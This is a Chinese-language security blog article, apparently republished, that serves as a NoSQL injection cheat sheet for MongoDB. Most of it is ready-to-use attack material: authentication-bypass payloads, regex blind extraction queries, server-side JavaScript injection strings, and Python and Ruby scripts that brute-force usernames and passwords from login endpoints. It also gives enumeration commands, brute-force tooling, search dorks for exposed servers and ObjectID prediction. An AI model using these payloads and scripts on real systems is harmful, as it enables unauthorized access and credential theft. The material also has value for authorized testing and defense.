小白也能看懂系列:一文看懂NoSQL注入

admin 2026-01-28 07:02:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析NoSQL注入原理,重点针对MongoDB。涵盖常见元字符、认证绕过、正则盲注及SSJI攻击,提供Python与Ruby脚本实现数据提取与爆破。此外包含MongoDB枚举、ObjectID预测及权限绕过技巧,是实用的NoSQL安全测试指南。 综合评分: 82 文章分类: WEB安全,渗透测试,漏洞POC,红队


cover_image

小白也能看懂系列:一文看懂NoSQL注入

原创

网络安全民工 网络安全民工

网络安全民工

2026年1月27日 13:15 天津

NoSQL注入

开发

  • 以下是一些常见的 NoSQL 元字符,您可以通过 API 调用发送这些元字符来操作数据库:
$gt{"$gt":""} {"$gt":-1}$ne{"$ne":""} {"$ne":-1}$nin{"$nin":1} {"$nin":[1]}||'1'=='1//||'a'\\'a'||'1'=='1';//'/{}:'"\;{}'"\/$[].>{"$where": "sleep(1000)"}
  • 使用 Postman 成功发起 NoSQL 注入攻击:

PHP

这些漏洞利用是基于添加一个操作员。

username[$ne]=1$password[$ne]=1#<Not Equals>username[$regex]=^adm$password[$ne]=1#Check&nbsp;a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use&nbsp;the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s&nbsp;#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s&nbsp;#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7#<Matches non of the values of the array> (not test and not admin){&nbsp;$where:&nbsp;"this.credits == this.debits"&nbsp;}#<IF>, can be used to execute code

绕过身份验证

使用不等于 ($ne) 或大于 ($gt) 绕过基本身份验证

inDATAusername[$ne]=toto&password[$ne]=totologin[$regex]=a.*&pass[$ne]=lollogin[$gt]=admin&login[$lt]=test&pass[$ne]=1login[$nin][]=admin&login[$nin][]=test&pass[$ne]=totoinJSON{"username":&nbsp;{"$ne":&nbsp;null},"password":&nbsp;{"$ne":&nbsp;null}}{"username":&nbsp;{"$ne":&nbsp;"foo"},"password":&nbsp;{"$ne":&nbsp;"bar"}}{"username":&nbsp;{"$gt":&nbsp;undefined},"password":&nbsp;{"$gt":&nbsp;undefined}}{"username":&nbsp;{"$gt":""},"password":&nbsp;{"$gt":""}}

SQL – Mongo

Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// &nbsp; &nbsp;or &nbsp; &nbsp;' || 1==1%00

提取长度信息

username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}

提取数据信息

inURLusername[$ne]=toto&password[$regex]=m.{2}username[$ne]=toto&password[$regex]=md.{1}username[$ne]=toto&password[$regex]=mdpusername[$ne]=toto&password[$regex]=m.*username[$ne]=toto&password[$regex]=md.*inJSON{"username":&nbsp;{"$eq":&nbsp;"admin"},"password":&nbsp;{"$regex":&nbsp;"^m"}}{"username":&nbsp;{"$eq":&nbsp;"admin"},"password":&nbsp;{"$regex":&nbsp;"^md"}}{"username":&nbsp;{"$eq":&nbsp;"admin"},"password":&nbsp;{"$regex":&nbsp;"^mdp"}}

使用“in”提取数据

{"username":{"$in":["Admin","4dm1n","admin","root","administrator"]},"password":{"$gt":""}}

SQL – Mongo

/?search=admin' && this.password%00 -->&nbsp;Check if the field password exists /?search=admin' && this.password && this.password.match(/.*/)%00 -->&nbsp;start matching password /?search=admin' && this.password && this.password.match(/^a.*$/)%00 /?search=admin' && this.password && this.password.match(/^b.*$/)%00 /?search=admin' && this.password && this.password.match(/^c.*$/)%00 ... /?search=admin' && this.password && this.password.match(/^duvj.*$/)%00 ... /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 &nbsp;Found

SSJI

';return 'a'=='a'&&''==' ";return 'a'=='a' && ''=='0;returntrue

PHP任意函数执行

使用MongoLite库的 $func 运算符(默认使用),可以像本报告中那样执行任意函数。

"user":{"$func":&nbsp;"var_dump"}

从不同系列中获取信息

可以使用$lookup从不同的集合中获取信息。在下面的示例中,我们从名为 users 的集合中读取数据,并获取密码与通配符匹配的所有条目的结果。

[{"$lookup":{"from":&nbsp;"users","as":"resultado","pipeline":&nbsp;[{"$match":{"password":{"$regex":"^.*"}}}]}}]

盲目 NoSQL

importrequests,&nbsp;stringalphabet=string.ascii_lowercase+string.ascii_uppercase+string.digits+"_@{}-/()!\"$%=^[]:;"flag=""foriinrange(21): &nbsp; &nbsp;print("[i] Looking for char number "+str(i+1)) &nbsp; &nbsp;forcharinalphabet: &nbsp; &nbsp; &nbsp; &nbsp;r=requests.get("http://chall.com?param=^"+flag+char) &nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;("<TRUE>"inr.text): &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;flag+=charprint("[+] Flag: "+flag) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break
importrequestsimporturllib3importstringimporturlliburllib3.disable_warnings()username="admin"password=""whileTrue: &nbsp; &nbsp;forcinstring.printable: &nbsp; &nbsp; &nbsp; &nbsp;ifcnotin&nbsp;['*','+','.','?','|']: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}'%&nbsp;(username,&nbsp;password+c) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;r=requests.post(u,&nbsp;data=&nbsp;{'ids':&nbsp;payload},&nbsp;verify=False) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if'OK'inr.text: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print("Found one more char : %s"%&nbsp;(password+c)) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;password+=c

POST 请求,请求体为 JSON 格式

Python脚本

importrequestsimporturllib3importstringimporturlliburllib3.disable_warnings()username="admin"password=""u="http://example.org/login"headers={'content-type':&nbsp;'application/json'}whileTrue: &nbsp; &nbsp;forcinstring.printable: &nbsp; &nbsp; &nbsp; &nbsp;ifcnotin&nbsp;['*','+','.','?','|']: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}'%&nbsp;(username,&nbsp;password+c) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;r=requests.post(u,&nbsp;data=payload,&nbsp;headers=headers,&nbsp;verify=False,&nbsp;allow_redirects=False) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if'OK'inr.textorr.status_code==302: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print("Found one more char : %s"%&nbsp;(password+c)) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;password+=c

POST 请求体包含 URL 编码内容

Python脚本

importrequestsimporturllib3importstringimporturlliburllib3.disable_warnings()username="admin"password=""u="http://example.org/login"headers={'content-type':&nbsp;'application/x-www-form-urlencoded'}whileTrue: &nbsp; &nbsp;forcinstring.printable: &nbsp; &nbsp; &nbsp; &nbsp;ifcnotin&nbsp;['*','+','.','?','|','&','$']: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;payload='user=%s&pass[$regex]=^%s&remember=on'%&nbsp;(username,&nbsp;password+c) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;r=requests.post(u,&nbsp;data=payload,&nbsp;headers=headers,&nbsp;verify=False,&nbsp;allow_redirects=False) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ifr.status_code==302andr.headers['Location']&nbsp;=='/dashboard': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print("Found one more char : %s"%&nbsp;(password+c)) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;password+=c

得到

Python脚本

importrequestsimporturllib3importstringimporturlliburllib3.disable_warnings()username='admin'password=''u='http://example.org/login'whileTrue: &nbsp;forcinstring.printable: &nbsp; &nbsp;ifcnotin&nbsp;['*','+','.','?','|',&nbsp;'#',&nbsp;'&',&nbsp;'$']: &nbsp; &nbsp; &nbsp;payload=f"?username={username}&password[$regex]=^{password+c}"r=requests.get(u+payload) &nbsp; &nbsp; &nbsp;if'Yeah'inr.text: &nbsp; &nbsp; &nbsp; &nbsp;print(f"Found one more char :&nbsp;{password+c}") &nbsp; &nbsp; &nbsp; &nbsp;password+=c

Ruby脚本

require'httpx'username='admin'password=''url='http://example.org/login'# CHARSET = (?!..?~).to_a # all ASCII printable charactersCHARSET=[*'0'..'9',*'a'..'z','-']# alphanumeric + '-'GET_EXCLUDE=['*','+','.','?','|','#','&','$']session=HTTPX.plugin(:persistent)whiletrueCHARSET.eachdo&nbsp;|c| &nbsp; &nbsp;unlessGET_EXCLUDE.include?(c)payload="?username=#{username}&password[$regex]=^#{password&nbsp;+&nbsp;c}"res=session.get(url&nbsp;+&nbsp;payload)ifres.body.to_s.match?('Yeah')puts"Found one more char :&nbsp;#{password&nbsp;+&nbsp;c}"password&nbsp;+=&nbsp;cendendendend

MongoDB 有效载荷

true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1' 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a ' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1}); db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 || 1==1 ' && this.password.match(/.*/)//+%00 ' && this.passwordzz.match(/.*/)//+%00 '%20%26%26%20this.password.match(/.*/)//+%00 '%20%26%26%20this.passwordzz.match(/.*/)//+%00 {$gt: ''} [$ne]=1 ';return 'a'=='a' && ''==' ";return(true);var xyz='a 0;return true

工具

  • https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
  • https://github.com/C4l1b4n/NoSQL-Attack-Suite

通过 POST 登录方式暴力破解登录用户名和密码

这是一个简单的脚本,您可以对其进行修改,但之前的工具也可以完成这项任务。

importrequestsimportstringurl="http://example.com"headers=&nbsp;{"Host":&nbsp;"exmaple.com"}cookies=&nbsp;{"PHPSESSID":&nbsp;"s3gcsgtqre05bah2vt6tibq8lsdfk"}possible_chars=list(string.ascii_letters)&nbsp;+list(string.digits)&nbsp;+&nbsp;["\\"+cforcinstring.punctuation+string.whitespace&nbsp;]defget_password(username): &nbsp; &nbsp;print("Extracting password of "+username) &nbsp; &nbsp;params=&nbsp;{"username":username,&nbsp;"password[$regex]":"",&nbsp;"login":&nbsp;"login"} &nbsp; &nbsp;password="^"whileTrue: &nbsp; &nbsp; &nbsp; &nbsp;forcinpossible_chars: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;params["password[$regex]"]&nbsp;=password+c+".*"pr=requests.post(url,&nbsp;data=params,&nbsp;headers=headers,&nbsp;cookies=cookies,&nbsp;verify=False,&nbsp;allow_redirects=False) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ifint(pr.status_code)&nbsp;==302: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;password+=cbreakifc==possible_chars[-1]: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print("Found password "+password[1:].replace("\\",&nbsp;"")+" for username "+username) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;returnpassword[1:].replace("\\",&nbsp;"")defget_usernames(): &nbsp; &nbsp;usernames=&nbsp;[] &nbsp; &nbsp;params=&nbsp;{"username[$regex]":"",&nbsp;"password[$regex]":".*",&nbsp;"login":&nbsp;"login"} &nbsp; &nbsp;forcinpossible_chars: &nbsp; &nbsp; &nbsp; &nbsp;username="^"+cparams["username[$regex]"]&nbsp;=username+".*"pr=requests.post(url,&nbsp;data=params,&nbsp;headers=headers,&nbsp;cookies=cookies,&nbsp;verify=False,&nbsp;allow_redirects=False) &nbsp; &nbsp; &nbsp; &nbsp;ifint(pr.status_code)&nbsp;==302: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print("Found username starting with "+c) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;whileTrue: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;forc2inpossible_chars: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;params["username[$regex]"]&nbsp;=username+c2+".*"ifint(requests.post(url,&nbsp;data=params,&nbsp;headers=headers,&nbsp;cookies=cookies,&nbsp;verify=False,&nbsp;allow_redirects=False).status_code)&nbsp;==302: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;username+=c2print(username) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;breakifc2==possible_chars[-1]: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print("Found username: "+username[1:]) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;usernames.append(username[1:]) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;breakreturnusernamesforuinget_usernames(): &nbsp; &nbsp;get_password(u)

MongoDB 简要概述

  • 默认端口:2701727018

枚举

手动的

frompymongoimportMongoClientclient=MongoClient(host,&nbsp;port,&nbsp;username=username,&nbsp;password=password)client.server_info()&nbsp;#Basic&nbsp;info#If&nbsp;you have admin access you can obtain more infoadmin=client.adminadmin_info=admin.command("serverStatus")cursor=client.list_databases()fordbincursor: &nbsp; &nbsp;print(db) &nbsp; &nbsp;print(client[db["name"]].list_collection_names())#If&nbsp;admin access, you could dump the database also

一些 MongoDB 命令:

show dbs use&nbsp;<db>show collections db.<collection>.find() &nbsp;#Dump the collectiondb.<collection>.count()&nbsp;#Number of records of the collectiondb.current.find({"username":"admin"}) &nbsp;#Find in current db the username admin

自动的

#By default all the nmap mongo enumerate scripts are usednmap -sV --script&nbsp;"mongo* and default"&nbsp;-p 27017&nbsp;<IP>

初段

  • 所有 MongoDB:"mongodb server information"
  • 搜索完全开放的 MongoDB 服务器:"mongodb server information" -"partially enabled"
  • 仅部分启用身份验证:"mongodb server information" "partially enabled"

登录

默认情况下,MongoDB 不需要密码。Admin 是一个常见的 MongoDB 数据库。

mongo&nbsp;<HOST>mongo&nbsp;<HOST>:<PORT>mongo&nbsp;<HOST>:<PORT>/<DB>mongo&nbsp;<database>&nbsp;-u&nbsp;<username>&nbsp;-p&nbsp;'<password>'

nmap 脚本:mongodb-brute 将检查是否需要凭据。

nmap -n -sV --script mongodb-brute -p 27017&nbsp;<ip>

蛮力

nmap -sV --script mongodb-brute -n -p 27017&nbsp;<IP>use auxiliary/scanner/mongodb/mongodb_login

查看 /opt/bitnami/mongodb/mongodb.conf 文件,了解是否需要凭据:

grep&nbsp;"noauth.*true"&nbsp;/opt/bitnami/mongodb/mongodb.conf&nbsp;|&nbsp;grep -v&nbsp;"^#"#Not neededgrep&nbsp;"auth.*true"&nbsp;/opt/bitnami/mongodb/mongodb.conf&nbsp;|&nbsp;grep -v&nbsp;"^#\|noauth"#Not needed

Mongo Objectid 预测

MongoDB 对象 ID 是 12 字节的十六进制字符串:

例如,我们可以这样解析应用程序返回的实际对象 ID:5f2459ac9fa6dc2500314019

  1. 5f2459ac:十进制数 1596217772 = 2020 年 7 月 31 日星期五 17:49:32
  2. 9fa6dc:机器标识符
  3. 2500:进程 ID
  4. 314019:增量计数器

在上述元素中,机器标识符在数据库运行于同一物理/虚拟机上时将保持不变。进程 ID 仅在 MongoDB 进程重启时才会改变。时间戳每秒更新一次。仅仅通过递增计数器和时间戳值来猜测对象 ID 的唯一挑战在于,MongoDB 是在系统级别生成和分配对象 ID 的。

工具https://github.com/andresriancho/mongo-objectid-predict,给定一个起始对象 ID(你可以创建一个帐户并获得一个起始 ID),它会返回大约 1000 个可能分配给下一个对象的对象 ID,因此你只需要暴力破解它们即可。

邮政

如果您是 root 用户,您可以修改 mongodb.conf 文件,使其不需要凭据(noauth = true),然后无需凭据即可登录。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全民工 网络安全民工 网络安全民工《小白也能看懂系列:一文看懂NoSQL注入》

评论:0   参与:  0